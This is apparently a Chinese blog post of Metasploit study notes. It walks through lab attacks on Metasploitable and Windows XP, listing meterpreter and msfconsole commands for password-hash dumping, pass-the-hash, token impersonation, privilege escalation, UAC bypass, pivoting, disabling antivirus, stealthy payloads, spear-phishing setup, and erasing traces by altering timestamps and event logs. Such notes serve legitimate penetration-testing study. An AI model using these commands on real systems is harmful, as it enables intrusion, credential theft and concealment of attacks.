• Metasploit用法大全


    Metasploit用户接口
    msfconsole
    Armitage:  KaliGUI启动;armitage命令启动


    Metasploit功能程序
    msfvenom
    集成了载荷生成器、载荷编码器、空指令生成器的功能
    查看详细指令选项:msfvenom-h


    服务器消息块协议扫描
    msf>useauxiliary/scanner/smb/smb_version


    搜寻配置不当的MicrosoftSQLServer
    msf>useauxiliary/scanner/mssql/mssql_ping


    SSH服务器扫描
    msf>useauxiliary/scanner/ssh/ssh_version


    FTP扫描
    msf>useauxiliary/scanner/ftp/ftp_version,发现ftp服务器
    msf>useauxiliary/scanner/ftp/anonymous,检查是否允许匿名登录


    简单网管协议扫描
    msf>useauxiliary/scanner/snmp/snmp_login


    渗透攻击基础
      msf>showexploits
      msf>showauxiliary
      msf>showoptions
      msf>showpayloads
      msf>showtargets
      info
      set和unset
      setg和unsetg
      save

    你的第一次渗透攻击
      操作机:KaliLinux
      靶机:WindowsXPSP2
      Step1:Nmap脚本扫描发现漏洞
      Nmap脚本扫描:nmap--script=SCRIPT-NAME(脚本名)
      Nmap脚本路径:/usr/share/nmap/scripts/SCRIPT-NAME.nse
      Step2:使用msf,根据漏洞选择攻击模块
      msf>searchMODULE_KEYWORD(模块名)
      关键字通常为:漏洞编号,漏洞软件名称,msf模块名称
      Step3:根据信息搜集结果,配置攻击模块,完成攻击
      msf>showoptions

    攻击Metasploitable主机
      操作机:KaliLinux
      靶机:Metasploitable2(Ubuntu8.04)
      Step1:Nmap扫描发现漏洞  Nmap脚本扫描:nmap–sT–A–P0
      Nmap脚本路径:/usr/share/nmap/scripts/SCRIPT-NAME.nse
      Step2:使用msf,根据漏洞选择攻击模块
      根据服务或软件信息,使用搜索引擎查找相关漏洞信息
      msf>searchMODULE_KEYWORD
      关键字通常为:漏洞编号,漏洞软件名称,msf模块名称
      Step3:根据信息搜集结果,配置攻击模块,完成攻击
      msf>showoptions
      Metasploitable2有很多漏洞,尝试对多个漏洞进行利用

    全端口攻击载荷:暴力猜解目标开放的端口
      全端口攻击载荷是为了应对防火墙
      当然,我们可以使用Nmap达到同样的目的,这样的载荷是为了提高自动化程度
      msf>search allports

    攻陷WindowsXP虚拟机
      攻击路径:
      使用nmap扫描端口
      攻击MSSQL
      暴力破解MSSQL服务
      xp_cmdshell
      Meterpreter基本命令
      获取键盘记录


    挖掘用户名和密码
      提取密码哈希值
      Windows系统存储哈希值的方式一般为LANManager(LM)、NTLANManager(NTLM),或NTLANManagerv2(NTLMv2)。
      使用Meterpreter命令获取密码哈希值
      meterpreter>usepriv
      meterpreter>runpost/windows/gather/hashdump
      彩虹表


    传递哈希值
      smb/psexec模块
      使用密码哈希值进行认证,绕过密码破解


    权限提升
      利用低权限用户建立反向shell连接,获得Meterpreter会话
      利用Meterpreter的priv扩展
      meterpreter>usepriv
      meterpreter>getsystem
      meterpreter>getuid
      这样的方法是否奏效,取决于低权限用户具有的权限
      MSF会话管理
      CTRL-Z
      sessions–l
      sessions–iSESSION_ID


    令牌假冒
      令牌假冒是Meterpreter最强大的功能之一,对渗透测试非常有帮助。
      示例场景:你正在对某个组织进行渗透测试,成功地入侵了系统并建立了一个Meterpreter的终端,
    而域管理员用户在13小时内登录过这台机器。在该用户登入这台机器的时候,
    一个Kerberos令牌将会发送到服务器上(进行单点登录)并将在随后的一段时间之内有效。
    你可以使用这个活动令牌来入侵系统,通过Meterpreter你可以假冒成域管理员的角色,
    而不需要破解他的密码,然后你就可以去攻击域管理员账号,甚至是域控制器。
      示例体现了令牌假冒的强大,也描述了使用的前置条件,
    如:建立Meterpreter,启用域,受控机器上有域管理员的有效令牌,等


    使用PS
      盗取令牌的两种方式:1.steal_tokenPID
      meterpreter>ps,获取PID
      steal_tokenPID,盗取令牌2.incognito模块
      有些情况下ps命令不能列出域管理员账号
      meterpreter>useincognito
      meterpreter>list_tokens–u
      meterpreter>impersonate_tokenDOMAIN\USERNAME


    通过跳板攻击其他机器
      Meterpreter进行跳板攻击
      meterpreter>runget_local_subnets
      msf>routeadd
      通过添加路由实现跳板,依赖于攻击机与跳板机之间的Meterpreter会话,一旦会话断开,跳板将失效
      使用MetasploitPro的VPN跳板
      商业版本功能
      接入目标内网,扩大了攻击面和可选攻击方式


    使用Meterpreter脚本
      迁移进程
      关闭杀毒软件
      获取系统密码哈希值
      查看目标机上的所有流量
      攫取系统信息
      控制持久化

    向后渗透攻击模块转变
      如果想列举所有的后渗透攻击模块,可以这样输入然后在末尾按TAB键:
      meterpreter>runpost/
      Displayall199possibilities  (yorn


    将命令行shell升级为Meterpreter
      sessions–u
      setg命令将LPORT和LHOST参数设置为Metasploit的全局变量,而不是局限在这一个模块之内。
    在使用sessions-u命令升级为Meterpreter的时候是必需的。
      exploit–z,CTRL-Z


    通过附加的Railgun组件操作WindowsAPI
      meterpreter>irb
      irbshell允许使用Ruby的语法与Meterpreter直接交互
      Railgun能为你提供与Win32本地应用程序一样访问WindowsAPI的能力

    msfvenom:载荷生成,载荷编码
      msfvenom--help
      常用参数:
      msfvenom-pPAYLOADNAME--payload-options,查看载荷参数
      msfvenom–f,指定载荷输出格式
      msfvenom–e,指定载荷编码方式
      msfvenom–l MODULENAME,列出指定类型的模块清单


    隐秘地启动一个攻击载荷
      msfvenom–k,配置攻击载荷在一个独立的线程中启动
      这种模式下,当包含载荷的程序被启动,宿主程序也会正常运行,避免被用户察觉
      -k选项不一定能用在所有的可执行程序上,在实际攻击前请确保你已经在实验环境中进行了测试


    加壳软件
      UPX加壳
      加密,压缩
      与MSF编码器的情况类似,目前,仅使用加壳,免杀效果不明显


    基于浏览器的渗透攻击
      基于浏览器的渗透攻击原理
      HeapSpraying(堆喷/堆喷射)
      关于空指令
      X86:x90
      空指令滑行区+Payload
      内存保护机制日益完善,单一技术手段已经不足以完成漏洞利用,但是仍可以作为漏洞利用的组成部分,其思路也值得借鉴


    使用调试器揭秘空指令
      目的:搞清楚空指令和汇编指令是如何执行的
      OllyDbg动态调试
      在Shellcode尾部设置断点
      在攻击机开启监听


    IE浏览器极光漏洞的利用
      msf>usewindows/browser/ms10_002_aurora
      载荷执行过程中,目标用户机器会变迟钝,为了防止用户关闭浏览器,导致渗透攻击中断,Meterpreter提供了一些指令
      手动迁移进程:meterpreter>run migrate –f
      模块高级选项:msf exploit(ms10_002_aurora)>show advanced


    文件格式漏洞渗透攻击
      MS11-006,在微软Windows系统函数CreateSizedDIBSECTION中存在的一个栈溢出漏洞
      msf>use windows/fileformat/ms11_006_createsizeddibsection
      确认攻击模块的目标系统版本:
      msf exploit(ms11_006_createsizeddibsection)>show targets
      此类攻击方式载荷是文档,往往需要与钓鱼攻击结合起来


    发送攻击负载
      邮件,下载链接
      开启多线程监听
      如果用户在文件夹中设置了使用缩略图(thumbnails)方式查看文件,当用户打开payload文件所在的文件夹,即可触发攻击


    Metasploit辅助模块(auxiliary module)
      辅助模块不使用payload,但提供了端口扫描、指纹识别、暴力猜解、Fuzz测试等很多类型的工具
      msf>show auxiliary

    辅助模块剖析
      FoursquareAPI和自定义辅助模块
      目的:查看辅助模块的内部结构,这是一个和渗透测试无关的签到工具
      查看FousquareAPI文档,了解如何使用API  通过调用Metasploit框架提供的方法,使用FoursquareAPI,完成自定义模块
      使用Metasploit框架进行开发能让我们将注意力集中在模块功能细节上,而不是处理大量重复的代码


    配置SET工具包
      项目地址:https://github.com/trustedsec/social-engineer-toolkit
      配置文件:config/core/set_config
      修改metasploit目录为实际目录:METASPLOIT_PATH=/usr/share/metasploit-framework
      开启邮件钓鱼:WEBATTACK_EMAIL=ON
      关闭自动检测:AUTO_DETECT=OFF
      开启Apache攻击:APACHE_SERVER=ON

    针对性钓鱼攻击向量
      Spear-Phishing Attack Vectors
      Abobe PDF 的Collab.collectEmailInfo漏洞
      设置发件邮箱时需注意,常见邮箱的安全防护措施,如附件检测、第三方邮件客户端认证等


    Web攻击向量
      JavaApplet
      客户端Web攻击
      用户名和密码获取
      标签页劫持攻击(Tabnabbing)
      中间人攻击
      网页劫持
      综合多重攻击方法


    SET的其他特性
      SET的交互式shell:该交互式shell可以替换Meterpreter作为一个攻击载荷
      RATTE:一个基于HTTP隧道攻击载荷,它依赖于HTTP协议进行通信,并利用了目标主机的代理设置
      Web图形界面:一个完整的Web应用攻击程序,能够自动化实施上述讨论的攻击过程
      无线攻击向量:在目标主机上创建一个假冒的无线热点


    在MSSQL上进行命令执行
      突破口:MSSQL弱口令
      调用系统管理员权限的扩展存储过程xp_cmdshell,这个存储过程使得你可以在MSSQL服务的运行账户环境(通常是Local System)下执行底层操作系统命令
      xp_cmdshell的激活  msf>use auxiliary/admin/mssql/mssql_exec


    分析mssql_exec模块
      调用Metasploit核心库的MS SQL协议模块:include Msf::Exploit::Remote::MSSQL
      激活xp_cmdshell存储过程:mssql_xpcmdshell_enable
      调用mssql_xpcmdshell执行操作系统命令

    编写一个新的模块
      PowerShell
      运行Shell渗透攻击
      编写Powershell_upload_exec函数
      从十六进制转换回二进制程序
      计数器
      运行渗透攻击模块


    Fuzz测试器模块
      目标:使服务器端崩溃
      使用Ollydbg对服务器端进行调试
      根据调试结果对Fuzz字符串长度进行调整


    控制结构化异常处理链
      查看SEH链内容
      查看导致SEH改写的堆栈内容
      计算SEH覆盖发生位置:tools/pattern_offset.rb
      调整Fuzz长度字符串长度


    绕过SEH限制
      一段任意的缓冲区填充
      NOP空指令滑行区
      Shellcode
      近跳转
      短跳转
      POP-POP-RETN


    获取返回地址
      定位POP-POP-RETN指令序列
      使用工具查找:msfpescan –p TARGETAPP.exe
      用于调试攻击载荷(发送中断指令):generic/debug_trap
      调整初始缓冲区长度


    坏字符和远程代码执行
      坏字符:导致shellcode被截断的字符
      坏字符取决于攻击目标,最快的方法是从攻击目标相同/相似的渗透代码中找坏字符
      http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars

    分析multi_meter_inject脚本
      查看命令行选项和配置语法格式
      变量和函数定义,命令行选项
      host_process.memory.allocate调用
      隐藏启动远程进程


    Meterpreter API
      打印输出
      基本API调用
      Meterpreter Mixins


    编写Meterpreter脚本的规则
      只使用临时、本地和常数变量,永远不要使用全局或者类变量,因为他们可能与框架内的变量相互冲突。
      使用tab键进行缩进,不要使用空格键。
      对程序块来说,不要使用大括号{},使用do和end语法模式。
      当声明函数时,养成在声明前进行注释,提供函数用途简要介绍的习惯。
      不要使用sleep函数,使用"select(nil,nil,nil,<time>)"。
      不要使用puts等其他标准的输出函数,使用print,print_line、print_status、print_error、和print_good函数。
      总是包含-h选项,该选项将对脚本进行简要的功能说明,并列出所有的命令行选项。
      如果你的脚本需要在特定操作系统或者Meterpreter平台运行,确保他们只能在所支持的平台上运行,并在不支持的操作系统和平台运行时报错。


    创建自己的Meterpreter脚本
      自定义Meterpreter脚本:execute_upload
      绕过Windows用户账户控制(UAC)防护功能
      msf>use exploit/windows/local/bypassuac
      对已经建立的、受UAC限制的Meterpreter会话使用,建立绕过UAC限制的会话,达到提权的目的


    **********************************************************************************************
                                      *****一次模拟的渗透测试过程*****
    **********************************************************************************************

    *****前期交互目标信息
      Windows XP
      网络环境:互联网+内网
      开放端口:80
      Metasploitable Linux
      网络环境:内网
      在内网开发大量端口
      目标:
      控制内网中的Metasploitable主机

    *****情报搜集
      Nmap扫描:nmap–sT–P0
      发现80端口的http服务
      确认为Web服务器

    *****威胁建模
      手动测试/工具测试
      手动测试是否存在SQL注入漏洞
      确定攻击路径

    *****渗透攻击
      根据攻击建模结果选择方式或工具
      Sqlmap利用MSSQL注入漏洞
      获取注入点,用于MSF终端中的渗透攻击

    *****MSF终端中的渗透攻击过程
      msf>use exploit/windows/mssql/mssql_payload_sqli
      完成Meterpreter Shell植入

    *****后渗透攻击
      扫描Metasploitable靶机
      在跳板机上使用nmap扫描内网
      识别存有漏洞的服务
      根据端口扫描结果,使用msf辅助模块中针对特定服务的扫描器

    *****攻击Postgresql数据库服务
      根据扫描结果,确认存在Postresql服务及端口号
      搜索msf中与Postgresql相关的模块
      选择合适的模块进行渗透攻击,这一过程需要尝试,并不是每一个查找到的模块都能成功利用
      弱口令字典:
      Wordlists

    *****攻击一个偏门的服务
      根据扫描结果,目标提供IRC服务
      遇到不熟悉的应用或服务,在攻击前需要更多的时间进行深入研究
      通过MSF的攻击模块查找、exploit-db、搜索引擎等对目标服务的进行研究,查找可能存在的漏洞信息

    *****隐藏你的踪迹
      修改时间戳:meterpreter>timestomp
      修改事件日志:meterpreter>runevent_manager
      流行的取证分析工具:Encase
      记录下攻击过程对目标系统进行了哪些修改,可以更容易地隐藏踪迹

  • 相关阅读:
    BLAS, LAPACK, OpenBLAS, MKL, CBLAS等概念
    Flex +WebService
    JS获取Url参数的通用方法
    错误 1 无法嵌入互操作类型“Microsoft.Office.Interop.Excel.ApplicationClass”。请改用适用的接口
    asp.net网站中添加百度地图功能
    Asp.net最基本的文件上传功能代码
    牛 JQuery视频笔记
    .Net知识点总结(一)
    javascript删除数组中的某个元素-----拓展Array 原型方法
    JavaScript中this
  • 原文地址:https://www.cnblogs.com/panisme/p/8341598.html
Copyright © 2020-2023  润新知